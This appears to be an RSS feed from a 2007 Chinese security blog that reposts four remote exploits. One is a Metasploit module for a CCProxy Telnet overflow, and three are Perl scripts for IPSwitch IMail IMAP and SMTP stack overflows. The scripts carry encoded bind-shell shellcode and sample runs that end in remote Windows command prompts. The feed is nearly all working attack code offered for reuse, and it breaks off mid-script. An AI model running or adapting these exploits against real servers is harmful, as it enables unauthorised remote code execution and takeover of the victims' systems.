<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[CNsHaRk BLog - EXPLOIT]]></title>
<link>http://www.cnshark.net/</link>
<description><![CDATA[欲速则不达-坚持不懈]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[support@cnshark.net(CNsHaRk)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>CNsHaRk BLog</title>
	<url>http://www.cnshark.net/images/logos.gif</url>
	<link>http://www.cnshark.net/</link>
	<description>CNsHaRk BLog</description>
</image>

			<item>
			<link>http://www.cnshark.net/article/960.htm</link>
			<title><![CDATA[CCProxy <= v6.2 Telnet Proxy Ping Overflow Exploit]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,05 Sep 2007 12:30:08 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=960</guid>
		<description><![CDATA[<br/><br/>##<br/># $Id$<br/>##<br/><br/>##<br/># This file is part of the Metasploit Framework and may be subject to <br/># redistribution and commercial restrictions. Please see the Metasploit<br/># Framework web site for more information on licensing and terms of use.<br/># <a href="http://metasploit.com/projects/Framework/" target="_blank" rel="external">http://metasploit.com/projects/Framework/</a> <br/>##<br/><br/>require &#39;msf/core&#39;<br/><br/>module Msf<br/><br/>class Exploits::Windows::Proxy::CCProxy_Telnet_Ping &lt; Msf::Exploit::Remote<br/><br/>include Exploit::Remote::Tcp<br/><br/>def initialize(info = {}) <br/>super(up&#100;ate_info(info,&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;Name&#39; =&gt; &#39;CCProxy &lt;= v6.2 Telnet Proxy Ping Overflow&#39;,<br/>&#39;Description&#39; =&gt; %q{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This module exploits the YoungZSoft CCProxy &lt;= v6.2 suite Telnet service.<br/>The stack is overwritten when sending an overly long address to the &#39;ping&#39; command.<br/>},<br/>&#39;Author&#39; =&gt; [ &#39;Patrick Webster &lt;patrick[at]aushack.com&gt;&#39; ],<br/>&#39;Arch&#39; =&gt; [ ARCH_X86 ], <br/>&#39;License&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; MSF_LICENSE,<br/>&#39;Version&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; &#39;$Revision$&#39;,<br/>&#39;References&#39;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;<br/>[<br/>[ &#39;BID&#39;, &#39;11666 &#39; ],<br/>[ &#39;CVE&#39;, &#39;2004-2416&#39; ],<br/>[ &#39;MIL&#39;, &#39;621&#39; ],<br/>[ &#39;OSVDB&#39;, &#39;11593&#39; ],<br/>],&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&#39;Privileged&#39; =&gt; false,<br/>&#39;DefaultOptions&#39; =&gt;<br/>{<br/>&#39;EXITFUNC&#39; =&gt; &#39;thread&#39;,<br/>},<br/>&#39;Payload&#39; =&gt;<br/>{ <br/>&#39;Space&#39; =&gt; 1012,<br/>&#39;BadChars&#39; =&gt; &#34;\x00\x07\x08\x0a\x0d&#34;,<br/>},<br/>&#39;Platform&#39; =&gt; [&#39;win&#39;],<br/>&#39;Targets&#39; =&gt;<br/>[<br/># Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.<br/>[<br/>&#39;Windows 2000 Pro All - English&#39;,<br/>{<br/>&#39;Ret&#39; =&gt; 0x75023411, # call esi ws2help.dll<br/>}<br/>],<br/>[<br/>&#39;Windows 2000 Pro All - Italian&#39;,<br/>{<br/>&#39;Ret&#39; =&gt; 0x74fd2b81, # call esi ws2help.dll<br/>}<br/>],<br/>[<br/>&#39;Windows 2000 Pro All - French&#39;,<br/>{<br/>&#39;Ret&#39; =&gt; 0x74fa2b22, # call esi ws2help.dll<br/>}<br/>],<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [<br/>&#39;Windows XP SP0/1 - English&#39;,<br/>{<br/>&#39;Ret&#39; =&gt; 0x71aa1a97, # call esi ws2help.dll<br/>}<br/>],<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [<br/>&#39;Windows XP SP2 - English&#39;,<br/>{<br/>&#39;Ret&#39; =&gt; 0x71aa1b22, # call esi ws2help.dll<br/>}<br/>],<br/>],<br/>&#39;DisclosureDate&#39; =&gt; &#39;Nov 11 2004&#39;))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>register_options(<br/>[<br/>Opt::RPORT(23),<br/>], self.class)<br/>end<br/><br/>def autofilter<br/>false<br/>end<br/><br/>def check <br/>connect<br/>banner = sock.get_once(-1,3)<br/><br/>if (banner =~ /CCProxy Telnet Service Ready/)<br/>return Exploit::CheckCode::Appears <br/>end<br/>return Exploit::CheckCode::Safe<br/>end<br/><br/>def exploit<br/>connect<br/><br/>sploit&nbsp;&nbsp;= &#34;p &#34; + payload.encoded + [target[&#39;Ret&#39;]].pack(&#39;V&#39;) + make_nops(7)<br/>sock.put(sploit + &#34;\r\n&#34;)<br/><br/>handler<br/>disconnect<br/>end<br/><br/>end<br/>end<br/><br/> <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/954.htm</link>
			<title><![CDATA[IPSwitch IMail Server 2006 9.10 SUBSCRIBE Remote O]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Thu,23 Aug 2007 20:43:01 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=954</guid>
		<description><![CDATA[还是幻影出的，这次是云舒写的。<br/><br/>来源：milw0rm<br/>#!/use/bin/perl<br/><br/># Test on Imail 2006(9.10), imap4d32.exe(6.8.8.1), windows 2003 Chinese SP1<br/># Code by yunshu, our team: www.ph4nt0m.org Mail list: <a href="http://list.ph4nt0m.org" target="_blank" rel="external">http://list.ph4nt0m.org</a><br/><br/>#F:\&gt;perl imail_SUBSCRIBE.pl 192.168.1.2 test_user test_pass<br/>#* OK IMAP4 Server (IMail 9.10)<br/>#0 OK LOGIN completed<br/>#* FLAGS (\Answered \Flagged \Del&#101;ted \Seen \Draft)<br/>#* 0 EXISTS<br/>#* 0 RECENT<br/>#* OK [UIDVALIDITY 1185270594] UIDs valid<br/>#* OK [UIDNEXT 485270595] Predicted next UID<br/>#2 OK [READ-WRITE] Sel&#101;ct completed<br/>#3 OK SUBSCRIBE completed<br/>#Trying..<br/>#Bingle!Maybe get it!<br/>#You can try to telnet 22 port, do you have nc?<br/><br/>#D:\Microsoft Visual Studio 8\VC&gt;nc -vv 192.168.1.2 22<br/>#192.168.1.2: inverse host lookup failed: h_errno 11004: NO_DATA<br/>#(UNKNOWN) [192.168.1.2] 22 (?) open<br/>#Microsoft Windows [.. 5.2.3790]<br/>#(C) .... 1985-2003 Microsoft Corp.<br/><br/>#C:\WINDOWS\system32&gt;net user<br/>#net user<br/><br/>#\\ .....<br/><br/>#-------------------------------------------------------------------------------<br/>#Administrator ASPNET Guest<br/>#IUSR_WIN2K3 IWAM_WIN2K3 SUPPORT_388945a0<br/>#..................<br/><br/>#C:\WINDOWS\system32&gt;<br/><br/>use strict;<br/>use warnings;<br/>use IO::Socket;<br/><br/>if( @ARGV != 3 )<br/>{<br/>&nbsp;&nbsp;my $banner = qq{<br/>Imail subscribe exploit, Test on Imail 2006(9.10),windows 2003 Chinese SP1<br/>You must have a account to login the imap server, good luck!<br/>Code by yunshu, our team www.ph4nt0m.org, enjoin this exp~~<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>imail_subscribe.pl &lt;host&gt; &lt;username&gt; &lt;password&gt;<br/>};<br/><br/>&nbsp;&nbsp;print $banner.&#34;\n&#34;;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;exit( -1 );<br/>}<br/><br/>my $host = $ARGV[0];<br/>my $user = $ARGV[1];<br/>my $pass = $ARGV[2];<br/><br/># win32_bind - EXITFUNC=thread LPORT=22 Size=344 Encoder=Pex <a href="http://metasploit.com" target="_blank" rel="external">http://metasploit.com</a><br/>my $shellcode =<br/>&#34;\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x41&#34;.<br/>&#34;\xd1\xfd\xbc\x83\xeb\xfc\xe2\xf4\xbd\xbb\x16\xf1\xa9\x28\x02\x43&#34;.<br/>&#34;\xbe\xb1\x76\xd0\x65\xf5\x76\xf9\x7d\x5a\x81\xb9\x39\xd0\x12\x37&#34;.<br/>&#34;\x0e\xc9\x76\xe3\x61\xd0\x16\xf5\xca\xe5\x76\xbd\xaf\xe0\x3d\x25&#34;.<br/>&#34;\xed\x55\x3d\xc8\x46\x10\x37\xb1\x40\x13\x16\x48\x7a\x85\xd9\x94&#34;.<br/>&#34;\x34\x34\x76\xe3\x65\xd0\x16\xda\xca\xdd\xb6\x37\x1e\xcd\xfc\x57&#34;.<br/>&#34;\x42\xfd\x76\x35\x2d\xf5\xe1\xdd\x82\xe0\x26\xd8\xca\x92\xcd\x37&#34;.<br/>&#34;\x01\xdd\x76\xcc\x5d\x7c\x76\xfc\x49\x8f\x95\x32\x0f\xdf\x11\xec&#34;.<br/>&#34;\xbe\x07\x9b\xef\x27\xb9\xce\x8e\x29\xa6\x8e\x8e\x1e\x85\x02\x6c&#34;.<br/>&#34;\x29\x1a\x10\x40\x7a\x81\x02\x6a\x1e\x58\x18\xda\xc0\x3c\xf5\xbe&#34;.<br/>&#34;\x14\xbb\xff\x43\x91\xb9\x24\xb5\xb4\x7c\xaa\x43\x97\x82\xae\xef&#34;.<br/>&#34;\x12\x82\xbe\xef\x02\x82\x02\x6c\x27\xb9\xfd\xaa\x27\x82\x74\x5d&#34;.<br/>&#34;\xd4\xb9\x59\xa6\x31\x16\xaa\x43\x97\xbb\xed\xed\x14\x2e\x2d\xd4&#34;.<br/>&#34;\xe5\x7c\xd3\x55\x16\x2e\x2b\xef\x14\x2e\x2d\xd4\xa4\x98\x7b\xf5&#34;.<br/>&#34;\x16\x2e\x2b\xec\x15\x85\xa8\x43\x91\x42\x95\x5b\x38\x17\x84\xeb&#34;.<br/>&#34;\xbe\x07\xa8\x43\x91\xb7\x97\xd8\x27\xb9\x9e\xd1\xc8\x34\x97\xec&#34;.<br/>&#34;\x18\xf8\x31\x35\xa6\xbb\xb9\x35\xa3\xe0\x3d\x4f\xeb\x2f\xbf\x91&#34;.<br/>&#34;\xbf\x93\xd1\x2f\xcc\xab\xc5\x17\xea\x7a\x95\xce\xbf\x62\xeb\x43&#34;.<br/>&#34;\x34\x95\x02\x6a\x1a\x86\xaf\xed\x10\x80\x97\xbd\x10\x80\xa8\xed&#34;.<br/>&#34;\xbe\x01\x95\x11\x98\xd4\x33\xef\xbe\x07\x97\x43\xbe\xe6\x02\x6c&#34;.<br/>&#34;\xca\x86\x01\x3f\x85\xb5\x02\x6a\x13\x2e\x2d\xd4\xae\x1f\x1d\xdc&#34;.<br/>&#34;\x12\x2e\x2b\x43\x91\xd1\xfd\xbc&#34;;<br/><br/>my $sock = IO::Socket::INET-&gt;new( PeerHost=&gt;$host, PeerPort=&gt;&#34;143&#34;, proto=&gt;&#34;tcp&#34; ) || die &#34;Connect error.\n&#34;;<br/><br/>my $res = &lt;$sock&gt;;<br/>print $res;<br/>if( $res !~ /OK/ )<br/>{<br/>&nbsp;&nbsp;exit( -1 );<br/>}<br/><br/>my $opcode = &#34;\x60\x1A\x9C\x76&#34;;<br/>#my $opcode = &#34;\x61\x62\x63\x64&#34;;<br/><br/>my $num = 264991;<br/><br/>my $nop = &#34;#IMAILPUB&#34; . &#34;\x90&#34; x ( $num - length($shellcode) ).$shellcode.&#34;\x90\x90\xeb\x06&#34;.$opcode.&#34;\x90\x90\x90\x90&#34;.&#34;\xE9\x44\xfd\xff\xff&#34;.&#34;\x90&#34; x 400;<br/><br/># login<br/>print $sock &#34;0 LOGIN $user $pass\r\n&#34;;<br/>$res = &lt;$sock&gt;;<br/>if( ! defined($res) )<br/>{<br/>&nbsp;&nbsp;exit(-1);<br/>}<br/><br/>print $res;<br/>if( $res !~ /OK/ )<br/>{<br/>&nbsp;&nbsp;exit(-1);<br/>}<br/><br/>print $sock &#34;2 Sel&#101;ct INBOX\r\n&#34;;<br/>while( &lt;$sock&gt; )<br/>{<br/>&nbsp;&nbsp;print $_;<br/>&nbsp;&nbsp;if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ )<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;last;<br/>&nbsp;&nbsp;}<br/>}<br/><br/>print $sock &#34;3 SUBSCRIBE \&#34;$nop\&#34;\r\n&#34;;<br/>$res = &lt;$sock&gt;;<br/>if( ! defined($res) )<br/>{<br/>&nbsp;&nbsp;exit(-1);<br/>}<br/>print $res;<br/><br/>print &#34;Trying..\n&#34;;<br/><br/>sleep( 15 );<br/>print &#34;Bingle! Maybe get it!\nYou can try to telnet 22 port, do you have nc?\n&#34;;<br/><br/>print $sock &#34;4 LOGOUT\r\n&#34;;<br/>print &lt;$sock&gt;;<br/><br/>$sock-&gt;close();<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/953.htm</link>
			<title><![CDATA[IPSwitch IMail Server 2006 SEARCH Remote Stack Ove]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Thu,23 Aug 2007 20:42:00 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=953</guid>
		<description><![CDATA[用imail的不少吧？这个exp是幻影出的。<br/><br/>来源：milw0rm<br/><br/>#!/use/bin/perl<br/>#<br/># Ipswitch IMail Server 2006 IMAP SEARCH COMMAND Stack Overflow Exploit<br/># Author: ZhenHan.Liu#ph4nt0m.org<br/># Date: 2007-07-25<br/># Team: Ph4nt0m Security Team (<a href="http://www.ph4nt0m.org" target="_blank" rel="external">http://www.ph4nt0m.org</a>)<br/>#<br/># Vuln Found by: Manuel Santamarina Suarez<br/># <a href="http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=563" target="_blank" rel="external">http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=563</a><br/>#<br/># The Vuln code is here (imap4d32.exe version 6.8.8.1)<br/># 00418CCA |. 8B8D 28EFFFFF |MOV ECX,DWORD PTR SS:[EBP-10D8]<br/># 00418CD0 |. 0FBE11 |MOVSX EDX,BYTE PTR DS:[ECX]<br/># 00418CD3 |. 83FA 22 |CMP EDX,22<br/># 00418CD6 |. 75 2A |JNZ SHORT IMAP4D32.00418D02<br/># 00418CD8 |. 8B85 28EFFFFF |MOV EAX,DWORD PTR SS:[EBP-10D8]<br/># 00418CDE |. 50 |PUSH EAX ; /String<br/># 00418CDF |. FF15 84004300 |CALL DWORD PTR DS:[&lt;&amp;KERNEL32.lstrlenA&gt;&gt;; \lstrlenA<br/># 00418CE5 |. 83E8 02 |SUB EAX,2<br/># 00418CE8 |. 50 |PUSH EAX ; /maxlen<br/># 00418CE9 |. 8B8D 28EFFFFF |MOV ECX,DWORD PTR SS:[EBP-10D8] ; |<br/># 00418CEF |. 83C1 01 |ADD ECX,1 ; |<br/># 00418CF2 |. 51 |PUSH ECX ; |src<br/># 00418CF3 |. 8D55 AC |LEA EDX,DWORD PTR SS:[EBP-54] ; |<br/># 00418CF6 |. 52 |PUSH EDX ; |dest<br/># 00418CF7 |. FF15 00024300 |CALL DWORD PTR DS:[&lt;&amp;MSVCR71.strncpy&gt;] ; \strncpy<br/># 00418CFD |. 83C4 0C |ADD ESP,0C<br/># 00418D00 |. EB 13 |JMP SHORT IMAP4D32.00418D15<br/># 00418D02 |&gt; 8B85 28EFFFFF |MOV EAX,DWORD PTR SS:[EBP-10D8]<br/># 00418D08 |. 50 |PUSH EAX ; /src<br/># 00418D09 |. 8D4D AC |LEA ECX,DWORD PTR SS:[EBP-54] ; |<br/># 00418D0C |. 51 |PUSH ECX ; |dest<br/># 00418D0D |. E8 7E610100 |CALL &lt;JMP.&amp;MSVCR71.strcpy&gt; ; \strcpy<br/># 00418D12 |. 83C4 08 |ADD ESP,8<br/># <br/># The programmer has made an extreamly stupid mistake.<br/># He checks the arg&#39;s first byte, if it is 0x22( &#34; ),then invoke strcpy,<br/># else strncpy.<br/># the buffer overflow takes place when the strcpy is called.<br/># But the strncpy is also vulnerable,because it just likes this: strncpy(dest, src, strlen(src)); <br/># So, whether the command was started with a &#39;&#34;&#39; o&#114; not, the stack overflow will take place immediately. <br/># <br/># Multiple SEARCH COMMAND is vulnerable,in this case, we use &#34;SEARCH ON&#34;.<br/># But others like &#34;SEARCH BEFORE&#34; command will also trigger the overflow.<br/>#<br/># NOTES: To trigger the Vuln, there must be at least one mail in the mailbox!!<br/>#<br/># Badchar is: 0x00 0x0a 0x0d 0x0b 0x09 0x0c 0x20<br/>#<br/># Tested On Windows 2003 SP1 CN<br/>#<br/># D:\&gt;perl imap.pl 192.168.226.128 143<br/># * OK IMAP4 Server (IMail 9.10)<br/># 0 OK LOGIN completed<br/># * FLAGS (\Answered \Flagged \Del&#101;ted \Seen \Draft)<br/># * 1 EXISTS<br/># * 1 RECENT<br/># * OK [UIDVALIDITY 1185337300] UIDs valid<br/># * OK [UIDNEXT 485337302] Predicted next UID<br/># 2 OK [READ-WRITE] Sel&#101;ct completed<br/># -------------- [BEGIN] -------------------<br/># ---------------- [END] ------------------<br/># <br/>#<br/># D:\&gt;nc -vv -n 192.168.226.128 1154<br/># (UNKNOWN) [192.168.226.128] 1154 (?) open<br/># Microsoft Windows [°æ±¾ 5.2.3790]<br/># (C) °æÈ¨ËùÓÐ 1985-2003 Microsoft Corp.<br/># <br/># C:\WINDOWS\system32&gt;<br/>#<br/>#<br/><br/>use strict;<br/>use warnings;<br/>use IO::Socket;<br/><br/>#Target IP<br/>my $host = shift ;<br/>my $port = shift ;<br/>my $account = &#34;void&#34;;<br/>my $password = &#34;ph4nt0m.org&#34;;<br/><br/>my $pad1 = &#34;void[at]ph4nt0m.org_&#34; x 4 . &#34;ph4nt0m&#34;;<br/>my $pad2 = &#39;void[at]pstgroup&#39;;<br/>my $jmpesp = &#34;\x12\x45\xfa\x7f&#34;; # Windows 2000/xp/2003 Universal<br/><br/># win32_bind - EXITFUNC=thread LPORT=1154 Size=344 Encoder=Pex <a href="http://metasploit.com" target="_blank" rel="external">http://metasploit.com</a><br/>my $shellcode =<br/>&#34;\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xb6&#34;.<br/>&#34;\x78\xf8\x75\x83\xee\xfc\xe2\xf4\x4a\x12\x13\x38\x5e\x81\x07\x8a&#34;.<br/>&#34;\x49\x18\x73\x19\x92\x5c\x73\x30\x8a\xf3\x84\x70\xce\x79\x17\xfe&#34;.<br/>&#34;\xf9\x60\x73\x2a\x96\x79\x13\x3c\x3d\x4c\x73\x74\x58\x49\x38\xec&#34;.<br/>&#34;\x1a\xfc\x38\x01\xb1\xb9\x32\x78\xb7\xba\x13\x81\x8d\x2c\xdc\x5d&#34;.<br/>&#34;\xc3\x9d\x73\x2a\x92\x79\x13\x13\x3d\x74\xb3\xfe\xe9\x64\xf9\x9e&#34;.<br/>&#34;\xb5\x54\x73\xfc\xda\x5c\xe4\x14\x75\x49\x23\x11\x3d\x3b\xc8\xfe&#34;.<br/>&#34;\xf6\x74\x73\x05\xaa\xd5\x73\x35\xbe\x26\x90\xfb\xf8\x76\x14\x25&#34;.<br/>&#34;\x49\xae\x9e\x26\xd0\x10\xcb\x47\xde\x0f\x8b\x47\xe9\x2c\x07\xa5&#34;.<br/>&#34;\xde\xb3\x15\x89\x8d\x28\x07\xa3\xe9\xf1\x1d\x13\x37\x95\xf0\x77&#34;.<br/>&#34;\xe3\x12\xfa\x8a\x66\x10\x21\x7c\x43\xd5\xaf\x8a\x60\x2b\xab\x26&#34;.<br/>&#34;\xe5\x2b\xbb\x26\xf5\x2b\x07\xa5\xd0\x10\xfc\xf7\xd0\x2b\x71\x94&#34;.<br/>&#34;\x23\x10\x5c\x6f\xc6\xbf\xaf\x8a\x60\x12\xe8\x24\xe3\x87\x28\x1d&#34;.<br/>&#34;\x12\xd5\xd6\x9c\xe1\x87\x2e\x26\xe3\x87\x28\x1d\x53\x31\x7e\x3c&#34;.<br/>&#34;\xe1\x87\x2e\x25\xe2\x2c\xad\x8a\x66\xeb\x90\x92\xcf\xbe\x81\x22&#34;.<br/>&#34;\x49\xae\xad\x8a\x66\x1e\x92\x11\xd0\x10\x9b\x18\x3f\x9d\x92\x25&#34;.<br/>&#34;\xef\x51\x34\xfc\x51\x12\xbc\xfc\x54\x49\x38\x86\x1c\x86\xba\x58&#34;.<br/>&#34;\x48\x3a\xd4\xe6\x3b\x02\xc0\xde\x1d\xd3\x90\x07\x48\xcb\xee\x8a&#34;.<br/>&#34;\xc3\x3c\x07\xa3\xed\x2f\xaa\x24\xe7\x29\x92\x74\xe7\x29\xad\x24&#34;.<br/>&#34;\x49\xa8\x90\xd8\x6f\x7d\x36\x26\x49\xae\x92\x8a\x49\x4f\x07\xa5&#34;.<br/>&#34;\x3d\x2f\x04\xf6\x72\x1c\x07\xa3\xe4\x87\x28\x1d\x59\xb6\x18\x15&#34;.<br/>&#34;\xe5\x87\x2e\x8a\x66\x78\xf8\x75&#34;;<br/><br/>my $sock = IO::Socket::INET-&gt;new( PeerHost=&gt;$host, PeerPort=&gt;$port, proto=&gt;&#34;tcp&#34; ) || die &#34;Connect error.\n&#34;;<br/><br/>my $res = &lt;$sock&gt;;<br/>print $res;<br/>if( $res !~ /OK/ )<br/>{<br/>&nbsp;&nbsp;exit(-1);<br/>}<br/><br/># login<br/>print $sock &#34;0 LOGIN $account $password\r\n&#34;;<br/>print $res = &lt;$sock&gt;;<br/>if( $res !~ /0 OK/ )<br/>{<br/>&nbsp;&nbsp;exit(-1);<br/>}<br/><br/># sel&#101;ct<br/>print $sock &#34;1 Sel&#101;ct INBOX\r\n&#34;;<br/>while(1)<br/>{<br/>&nbsp;&nbsp;print $res = &lt;$sock&gt;;<br/>&nbsp;&nbsp;if($res =~ /1 OK/)<br/>&nbsp;&nbsp;{&nbsp;&nbsp;last; }<br/>&nbsp;&nbsp;elsif($res =~ /1 NO/ || $res =~ /BAD/)<br/>&nbsp;&nbsp;{&nbsp;&nbsp; exit(-1); }<br/>&nbsp;&nbsp;else<br/>&nbsp;&nbsp;{&nbsp;&nbsp;next; }<br/>}<br/><br/># search<br/>my $payload = $pad1.$jmpesp.$pad2.$shellcode;<br/>print $sock &#34;2 SEARCH ON &lt;$payload&gt;\r\n&#34;;<br/><br/>$sock-&gt;close();<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/592.htm</link>
			<title><![CDATA[Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow E]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Sun,06 May 2007 23:20:47 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=592</guid>
		<description><![CDATA[#!/usr/bin/perl<br/># <a href="http://www.zerodayinitiative.com/advisories/ZDI-06-028.html" target="_blank" rel="external">http://www.zerodayinitiative.com/advisories/ZDI-06-028.html</a><br/># <a href="http://www.securityfocus.com/bid/19885" target="_blank" rel="external">http://www.securityfocus.com/bid/19885</a><br/># <br/># acaro [at] jervus.it<br/><br/><br/>use IO::Socket::INET;<br/>use Switch;<br/><br/>if (@ARGV &lt; 3) {<br/>print &#34;--------------------------------------------------------------------\n&#34;;<br/>print &#34;Usage : Imail-rcpt-overflow.pl -hTargetIPAddress -oTargetReturnAddress\n&#34;;<br/>print &#34; Return address: \n&#34;;<br/>print &#34; o1 - IMail 8.12 Version\n&#34;;<br/>print &#34; o2 - IMail 8.10 Versio\n&#34;;<br/>print &#34; Example for IMail 8.12 Version: ./Imail-rcpt-overflow.pl -h127.0.0.1 -o1 \n&#34;;<br/>print &#34;--------------------------------------------------------------------\n&#34;;<br/>}<br/><br/>use IO::Socket::INET;<br/><br/>my $host = 10.0.0.2;<br/>my $port = 25;<br/>my $reply;<br/>my $request;<br/>my $happystack=&#34;\x81\xc4\xff\xef\xff\xff\x44&#34;;<br/><br/><br/><br/>foreach (@ARGV) {<br/>$host = $1 if (___FCKpd___0<br/>=~/-h((.*)\.(.*)\.(.*)\.(.*))/);<br/>$eip = $1 if (___FCKpd___0<br/>=~/-o(.*)/);<br/>}<br/><br/>switch ($eip) {<br/>case 1 { $eip=&#34;\xc4\x91\x01\x10&#34; } # pop eax ret in SmtpDLL.dll for IMail 8.12<br/>case 2 { $eip=&#34;\xc3\x88\x01\x10&#34; } # pop eax ret in SmtpDLL.dll for IMail 8.10<br/>}<br/><br/><br/><br/># win32_bind -&nbsp;&nbsp;EXITFUNC=seh LPORT=4444 <br/><br/>my $shellcode&nbsp;&nbsp;= &#34;\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x93&#34;.<br/>&#34;\x7b\xbd\x36\x83\xee\xfc\xe2\xf4\x6f\x11\x56\x7b\x7b\x82\x42\xc9&#34;.<br/>&#34;\x6c\x1b\x36\x5a\xb7\x5f\x36\x73\xaf\xf0\xc1\x33\xeb\x7a\x52\xbd&#34;.<br/>&#34;\xdc\x63\x36\x69\xb3\x7a\x56\x7f\x18\x4f\x36\x37\x7d\x4a\x7d\xaf&#34;.<br/>&#34;\x3f\xff\x7d\x42\x94\xba\x77\x3b\x92\xb9\x56\xc2\xa8\x2f\x99\x1e&#34;.<br/>&#34;\xe6\x9e\x36\x69\xb7\x7a\x56\x50\x18\x77\xf6\xbd\xcc\x67\xbc\xdd&#34;.<br/>&#34;\x90\x57\x36\xbf\xff\x5f\xa1\x57\x50\x4a\x66\x52\x18\x38\x8d\xbd&#34;.<br/>&#34;\xd3\x77\x36\x46\x8f\xd6\x36\x76\x9b\x25\xd5\xb8\xdd\x75\x51\x66&#34;.<br/>&#34;\x6c\xad\xdb\x65\xf5\x13\x8e\x04\xfb\x0c\xce\x04\xcc\x2f\x42\xe6&#34;.<br/>&#34;\xfb\xb0\x50\xca\xa8\x2b\x42\xe0\xcc\xf2\x58\x50\x12\x96\xb5\x34&#34;.<br/>&#34;\xc6\x11\xbf\xc9\x43\x13\x64\x3f\x66\xd6\xea\xc9\x45\x28\xee\x65&#34;.<br/>&#34;\xc0\x28\xfe\x65\xd0\x28\x42\xe6\xf5\x13\xac\x6a\xf5\x28\x34\xd7&#34;.<br/>&#34;\x06\x13\x19\x2c\xe3\xbc\xea\xc9\x45\x11\xad\x67\xc6\x84\x6d\x5e&#34;.<br/>&#34;\x37\xd6\x93\xdf\xc4\x84\x6b\x65\xc6\x84\x6d\x5e\x76\x32\x3b\x7f&#34;.<br/>&#34;\xc4\x84\x6b\x66\xc7\x2f\xe8\xc9\x43\xe8\xd5\xd1\xea\xbd\xc4\x61&#34;.<br/>&#34;\x6c\xad\xe8\xc9\x43\x1d\xd7\x52\xf5\x13\xde\x5b\x1a\x9e\xd7\x66&#34;.<br/>&#34;\xca\x52\x71\xbf\x74\x11\xf9\xbf\x71\x4a\x7d\xc5\x39\x85\xff\x1b&#34;.<br/>&#34;\x6d\x39\x91\xa5\x1e\x01\x85\x9d\x38\xd0\xd5\x44\x6d\xc8\xab\xc9&#34;.<br/>&#34;\xe6\x3f\x42\xe0\xc8\x2c\xef\x67\xc2\x2a\xd7\x37\xc2\x2a\xe8\x67&#34;.<br/>&#34;\x6c\xab\xd5\x9b\x4a\x7e\x73\x65\x6c\xad\xd7\xc9\x6c\x4c\x42\xe6&#34;.<br/>&#34;\x18\x2c\x41\xb5\x57\x1f\x42\xe0\xc1\x84\x6d\x5e\x63\xf1\xb9\x69&#34;.<br/>&#34;\xc0\x84\x6b\xc9\x43\x7b\xbd\x36&#34;;<br/><br/><br/>my $nop=&#34;\x41&#34;x137;<br/><br/>my $buffer = &#34;RCPT TO:&#34;.&#34;\x20\x3c\x40&#34;.$eip . &#34;\x3a&#34; .$nop.$happystack.$shellcode.&#34;\x4a\x61\x63\x3e&#34;.&#34;\n&#34;;<br/><br/><br/>my $socket = IO::Socket::INET-&gt;new(proto=&gt;&#39;tcp&#39;, PeerAddr=&gt;$host, PeerPort=&gt;$port);<br/>$socket o&#114; die &#34;Cannot connect to host!\n&#34;;<br/><br/>recv($socket, $reply, 1024, 0);<br/>print &#34;Response:&#34; . $reply;<br/><br/><br/>$request = &#34;EHLO &#34; . &#34;\r\n&#34;;<br/>send $socket, $request, 0;<br/>print &#34;[+] Sent&nbsp;&nbsp;EHLO\n&#34;;<br/>recv($socket, $reply, 1024, 0);<br/>print &#34;Response:&#34; . $reply;<br/><br/><br/>$request = &#34;MAIL FROM:&#34; . &#34;\x20&#34; . &#34;\x3c&#34;.&#34;acaro&#34;. &#34;\x40&#34;.&#34;jervus.it&#34; . &#34;\x3e&#34; . &#34;\r\n&#34;;<br/>send $socket, $request, 0;<br/>print &#34;[+] Sent&nbsp;&nbsp;MAIL 